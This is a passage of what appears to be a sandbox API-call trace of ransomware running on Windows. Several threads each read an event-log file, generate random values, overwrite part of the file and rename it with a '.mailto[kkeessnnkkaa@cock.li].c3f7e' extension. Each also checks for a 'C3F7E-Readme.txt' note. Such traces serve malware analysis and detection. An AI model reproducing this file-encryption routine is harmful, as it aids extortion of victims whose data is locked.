	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732e48) returned 1
	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bf0) returned 1
	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47858) returned 1
	[0074.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x2d89728
	[0074.756] wcscpy (in: _Dest=0x2d89728, _Source="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx"
	[0074.756] wcscat (in: _Dest=0x2d89728, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.756] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x888fd5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70218
	[0074.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1
	[0074.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.882] NtQueryInformationFile (in: FileHandle=0x8b8, IoStatusBlock=0x888fd68, FileInformation=0x888fd40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x888fd68, FileInformation=0x888fd40) returned 0x0
	[0074.882] NtSetInformationFile (FileHandle=0x8b8, IoStatusBlock=0x888fd68, FileInformation=0x888fd40, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89728) returned 1
	[0074.886] FlushFileBuffers (hFile=0x8b8) returned 1
	[0074.890] CloseHandle (hObject=0x8b8) returned 1
	[0074.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0074.890] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.890] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.890] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0074.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60848) returned 1

Thread:
	id = 149
	os_tid = 0xfc4

	[0074.410] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0074.647] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.647] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x824
	[0074.647] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x890fc04 | out: lpFileSize=0x890fc04*=69632) returned 1
	[0074.647] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.647] ReadFile (in: hFile=0x824, lpBuffer=0x890fb88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x890fb84, lpOverlapped=0x0 | out: lpBuffer=0x890fb88*, lpNumberOfBytesRead=0x890fb84*=0x4, lpOverlapped=0x0) returned 1
	[0074.679] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0074.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478d0
	[0074.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0074.679] NtQuerySystemTime (in: CurrentTime=0x890fb64 | out: CurrentTime=0x890fb64*=132251868014164595) returned 0x0
	[0074.679] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xa7506f00
	[0074.679] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xd9fdc4b7
	[0074.679] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x7462df1c
	[0074.679] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xa4421c5c
	[0074.679] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x85c3bcbb
	[0074.679] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x66a7a208
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x67ba972a
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x1a032097
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xa77860d9
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xbf667898
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x4367990b
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xb87198ed
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x7137cbcd
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x4a27c20b
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xb14050dd
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xffd7c0da
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xa361086c
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xedd35f6
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xd1afe14d
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xfe4022ee
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x3b35d036
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x49d6247c
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x1db7397e
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x42ea0a5e
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x1de42c73
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x92718fa0
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x9b687391
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0x78060de1
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xce966bfe
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xb39a427d
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xcc33fcc
	[0074.680] RtlRandom (in: Seed=0x890fb70 | out: Seed=0x890fb70) returned 0xa623d6e4
	[0074.689] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.689] ReadFile (in: hFile=0x824, lpBuffer=0x4790fb0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x890fb44, lpOverlapped=0x0 | out: lpBuffer=0x4790fb0*, lpNumberOfBytesRead=0x890fb44*=0xc800, lpOverlapped=0x0) returned 1
	[0074.719] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.719] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0074.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0074.720] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0074.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47b67c8
	[0074.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0074.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0074.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0074.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0074.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.722] WriteFile (in: hFile=0x824, lpBuffer=0x47b67c8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x890fb44, lpOverlapped=0x0 | out: lpBuffer=0x47b67c8*, lpNumberOfBytesWritten=0x890fb44*=0xc800, lpOverlapped=0x0) returned 1
	[0074.740] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47b67c8) returned 1
	[0074.743] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790fb0) returned 1
	[0074.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x79) returned 0x2e35478
	[0074.743] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.744] WriteFile (in: hFile=0x824, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x890fbc4, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x890fbc4*=0x15d, lpOverlapped=0x0) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35588) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35478) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478d0) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bc8) returned 1
	[0074.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7ee38
	[0074.757] wcscpy (in: _Dest=0x2d7ee38, _Source="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx"
	[0074.757] wcscat (in: _Dest=0x2d7ee38, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.757] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x890fb7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x2d866b8
	[0074.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d866b8) returned 1
	[0074.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6ff90) returned 1
	[0074.880] NtQueryInformationFile (in: FileHandle=0x824, IoStatusBlock=0x890fb88, FileInformation=0x890fb60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x890fb88, FileInformation=0x890fb60) returned 0x0
	[0074.881] NtSetInformationFile (FileHandle=0x824, IoStatusBlock=0x890fb88, FileInformation=0x890fb60, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ee38) returned 1
	[0074.885] FlushFileBuffers (hFile=0x824) returned 1
	[0074.888] CloseHandle (hObject=0x824) returned 1
	[0074.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0074.888] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.888] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.888] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0074.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d63b98) returned 1

Thread:
	id = 150
	os_tid = 0xf98

	[0074.410] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0074.902] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.902] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8bc
	[0074.906] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x898f964 | out: lpFileSize=0x898f964*=69632) returned 1
	[0074.907] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.907] ReadFile (in: hFile=0x8bc, lpBuffer=0x898f8e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x898f8e4, lpOverlapped=0x0 | out: lpBuffer=0x898f8e8*, lpNumberOfBytesRead=0x898f8e4*=0x4, lpOverlapped=0x0) returned 1
	[0074.917] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0074.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0074.917] NtQuerySystemTime (in: CurrentTime=0x898f8c4 | out: CurrentTime=0x898f8c4*=132251868016508676) returned 0x0
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x74a8bd34
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x2e1796a6
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xa68fc769
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x83be7725
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x7ec7e8cb
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xe7b4f219
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x8f18a7bd
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xa867d9ea
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xacab00b6
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x4d51bcec
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x52e269c1
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xf36c2468
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xdcc4eb0e
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xaf642c3c
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xbfd02b62
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xdd45d6f5
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x24912bfe
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x28d2a9e0
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xdf5216ce
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x24ba0bc4
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xca9128ea
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x97c78136
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xe372c6ae
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x611f77d1
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xce944bcb
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xb2e4eec0
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xda3d795c
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xef8909b1
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x8f80b4d3
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xdb0f5bb8
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0xa056e516
	[0074.917] RtlRandom (in: Seed=0x898f8d0 | out: Seed=0x898f8d0) returned 0x2feec4aa
	[0074.926] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.926] ReadFile (in: hFile=0x8bc, lpBuffer=0x2e04f78, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x898f8a4, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesRead=0x898f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.927] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0074.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0074.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0074.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4790fb0
	[0074.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0074.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0074.929] WriteFile (in: hFile=0x8bc, lpBuffer=0x4790fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x898f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4790fb0*, lpNumberOfBytesWritten=0x898f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790fb0) returned 1
	[0074.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0074.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4733e18
	[0074.932] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.932] WriteFile (in: hFile=0x8bc, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x898f924, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x898f924*=0x143, lpOverlapped=0x0) returned 1
	[0074.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0074.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0074.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733e18) returned 1
	[0074.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0074.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0074.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0074.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0074.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d060
	[0074.944] wcscpy (in: _Dest=0x2d7d060, _Source="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx"
	[0074.944] wcscat (in: _Dest=0x2d7d060, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.944] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x898f8dc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x2d866b0
	[0074.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d866b0) returned 1
	[0074.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.945] NtQueryInformationFile (in: FileHandle=0x8bc, IoStatusBlock=0x898f8e8, FileInformation=0x898f8c0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x898f8e8, FileInformation=0x898f8c0) returned 0x0
	[0074.945] NtSetInformationFile (FileHandle=0x8bc, IoStatusBlock=0x898f8e8, FileInformation=0x898f8c0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0074.946] FlushFileBuffers (hFile=0x8bc) returned 1
	[0074.949] CloseHandle (hObject=0x8bc) returned 1
	[0074.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0074.950] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.950] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.950] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0074.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a520) returned 1

Thread:
	id = 151
	os_tid = 0x758

	[0074.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0074.654] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.654] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c4
